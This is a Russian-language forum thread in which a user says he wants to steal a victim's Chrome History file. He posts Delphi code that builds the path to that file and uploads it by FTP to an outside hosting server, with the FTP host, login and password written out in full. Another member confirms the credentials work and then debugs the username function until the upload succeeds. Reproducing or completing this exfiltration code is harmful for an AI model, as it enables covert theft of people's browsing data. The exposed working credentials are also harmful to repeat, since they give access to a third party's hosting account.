Помогите разобратся

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Null_0, 17 Jun 2018.

  1. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    хочу стырить файл History, но в директории указано имя пользователя, я разобрался как его узнать но при запуске вылетает ошибка - Cannon open file "C:/User/NN"
    проблема в том что не считывается следующая строка директории, вот код


    var
    sUserName: string;
    dwUserNameLen: DWORD;
    begin
    dwUserNameLen := cnMaxUserNameLen - 1;
    SetLength(sUserName, cnMaxUserNameLen);
    GetUserName(PChar(sUserName), dwUserNameLen);
    SetLength(sUserName, dwUserNameLen);
    Result := sUserName;
    end;
    begin
    idftp1.Host := 'vh68.timeweb.ru';
    idftp1.Username := 'ci85785';
    idftp1.Password := 'mRMfVuNYb254';
    idftp1.Port := 21;
    idftp1.Connect();
    idftp1.Passive := true;
    if idftp1.Connected = true then
    Memo1.Lines.Add('Подключение прошло успешно !');
    //Memo1.Lines.Add('Load Файл ...');
    idftp1.Put('C:\Users\' +(GetCurrentUserName) + '\AppData\Local\Google\Chrome\User Data\Default\History');
    Memo1.Lines.Add('Файл успешно отправлен !');
    end;
     
  2. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    А ты молодец. И логин оставил и пароль от хостинга :)
    Рабочие, я проверил. Но в принципе там 0 рублей на счету так что...
    ============
    Есть мнение что сначала ты должен директорию выбрать
    idftp1.ChangeDir('ляляля');

    Хотя х/з. Delphi не юзаю т.ч. не могу сказать.
    ============
    UPD: и кстати GetCurrentUserName возвращает все ок ? А то не видно у тебя в пути AppData\Local етц.
     
    #2 DartPhoenix, 17 Jun 2018
    Last edited: 17 Jun 2018
  3. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    проблема в том что все ок шло, C:/User/NN правильно подошло, т.е. имя пользователя вставилось, а +'\AppData\Local\Google\Chrome\User Data\Default\History' не заходит, в ошибке не видно что такой путь вообще есть, глянь на ошибку которую я писал
     
  4. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Строчкой ниже можешь попробовать их добавить. Почему в той же строке не добавляется - тайна покрытая мраком :)
    Тут надо полный кодес чтобы самому дебугга запустить.
    =======
    Ну типо
    S:string;
    <....>
    s:='C:\Users\' + (GetCurrentUserName());
    s+='\AppData....'

    И кстати экранировать обратный слеш в Delphi не надо ? Не помню :(
    ======
    Скинь функцию GetCurrentUserName.
     
    #4 DartPhoenix, 17 Jun 2018
    Last edited: 17 Jun 2018
  5. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    на += выдает ошибку, хз в чем прикол
     
  6. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Попробуй просто
    S:=S+'\AppData...'
     
  7. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    все равно никак ( выдает C:/User/NN только, остальное нет..
     
  8. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Скинь весь код куда-нибудь. Что-то у тебя там не фунциклирует :)
     
  9. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    var
    Form1: TForm1;
    implementation
    {$R *.dfm}
    procedure TForm1.FormCreate(Sender: TObject);
    function GetCurrentUserName: string;
    const
    cnMaxUserNameLen = 254;
    var
    sUserName: string;
    dwUserNameLen: DWORD;
    begin
    dwUserNameLen := cnMaxUserNameLen - 1;
    SetLength(sUserName, cnMaxUserNameLen);
    GetUserName(PChar(sUserName), dwUserNameLen);
    SetLength(sUserName, dwUserNameLen);
    Result := sUserName;
    end;
    var s: string;
    begin
    idftp1.Host := 'vh68.timeweb.ru';
    idftp1.Username := 'ci85785';
    idftp1.Password := 'mRMfVuNYb254';
    idftp1.Port := 21;
    idftp1.Connect();
    idftp1.Passive := true;
    if idftp1.Connected = true then
    Memo1.Lines.Add('Ïîäêëþ÷åíèå ïðîøëî óñïåøíî !');
    Memo1.Lines.Add('Load Ôàéë ...');
    s:='C:\Users\' + (GetCurrentUserName());
    s := s + '\AppData\Local\Google\Chrome\User Data\Default\History';
    idftp1.Put(s);
    Memo1.Lines.Add('Ôàéë óñïåøíî îòïðàâëåí !');
    end;
    end.
     
  10. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Поменяй функцию GetCurrentUserName ибо она тебе просто #0 в конец добавляет. А для типа String #0 не считается признаком конца строки.
    Держи.

    Code:
    function GetCurrentUserName: string;
      const
        cnMaxUserNameLen = 254;
      var
        dwUserNameLen: DWORD;
        cUserName: PChar;
      begin
        dwUserNameLen := cnMaxUserNameLen - 1;
        GetUserName(cUserName, dwUserNameLen);
        Result := cUserName;
      end;
    ===========================
    Правда я не помню как с PChar работать, так что могут быть забавные траблы. Но в общем и целом проблема твоя в GetCurrentUserName. Смотри сам.
     
  11. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Есть вероятность что мой кодес затирает память. Проверить не на чем, но можно сделать вот как.

    У себя в коде просто исправь эту строчку (чтобы длина была на 1 меньше) и должно все ок работать:
    SetLength(sUserName, dwUserNameLen-1);
     
  12. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    [​IMG]
     
  13. DartPhoenix

    DartPhoenix Elder - Старейшина

    Joined:
    15 Sep 2013
    Messages:
    1,105
    Likes Received:
    8,469
    Reputations:
    25
    Ага. Так и есть. Лови. Это должно работать.

    Code:
    function GetCurrentUserName: string;
    const
    cnMaxUserNameLen = 254;
    var
    sUserName: string;
    dwUserNameLen: DWORD;
    begin
    dwUserNameLen := cnMaxUserNameLen - 1;
    SetLength(sUserName, cnMaxUserNameLen);
    GetUserName(PChar(sUserName), dwUserNameLen);
    SetLength(sUserName, dwUserNameLen-1);
    Result := sUserName;
    end;
     
    Null_0 likes this.
  14. Null_0

    Null_0 New Member

    Joined:
    19 Oct 2016
    Messages:
    13
    Likes Received:
    1
    Reputations:
    0
    спасибо тебе огромное! все работает!
     
    DartPhoenix likes this.